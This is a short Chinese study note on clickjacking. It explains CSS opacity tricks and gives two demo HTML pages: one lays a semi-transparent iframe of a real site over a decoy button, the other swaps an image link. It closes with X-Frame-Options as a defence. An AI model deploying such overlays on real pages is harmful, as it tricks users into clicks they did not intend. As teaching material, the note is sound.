第四天
点击劫持:通过组件透明度,欺骗用户点击隐藏在按钮下面的恶意地址
本质是一种视觉欺骗
一、基础知识
1.基础知识–不透明度设置
div
{
/* Hide from view */
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
-moz-opacity: 0;提供给mozilla firefox的css属性,用来控制透明度 , 值为0.1 10%
opacity: 0;设置 div 元素的不透明级别:从0.0(完全透明)~1.0(完全不透明)。
filter: alpha(opacity=0);/* IE8 以及更早的浏览器 */
2.基础知识–iframe不现实滚动条
scrolling=“no”;
二、攻击方式
1.通过隐藏组件,引诱用户点击,示例代码
<!DOCTYPE html>
<html>
<head>
<title>CLICK JACK!!!</title>
<style>
iframe {
width: 700px;
height: 150px;
/* Use absolute positioning to line up update button with fake button */
position: absolute;
top: -60px;
left: -600px;
z-index: 2;
/* Hide from view */
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=0.5);
}
button {
position: absolute;
top: 10px;
left: 10px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="https://www.qidian.com" scrolling="no"></iframe>
<button>CLICK HERE!</button>
</body>
</html>
2.flash小游戏,同理隐藏底层按钮,上层引诱用户进行点击
3.替换图片链接地址,引诱用户点击图片
<!DOCTYPE html>
<html>
<head>
<style>
img {
position: absolute;
top: 0px;
left: 0px;
}
</style>
</head>
<body>
<div>利用的是替换图片CSS样式,达到欺骗。</div>
<a href="https://www.baidu.com">
<img src=https://i1.sinaimg.cn/dy/deco/2013/0329/logo/LOGO_1x.png>
</a>
</body>
</html>
三、如何防御
针对传统的ClickJacking一般是通过禁止跨域iframe;
浏览器已经支持X-Frame-Options;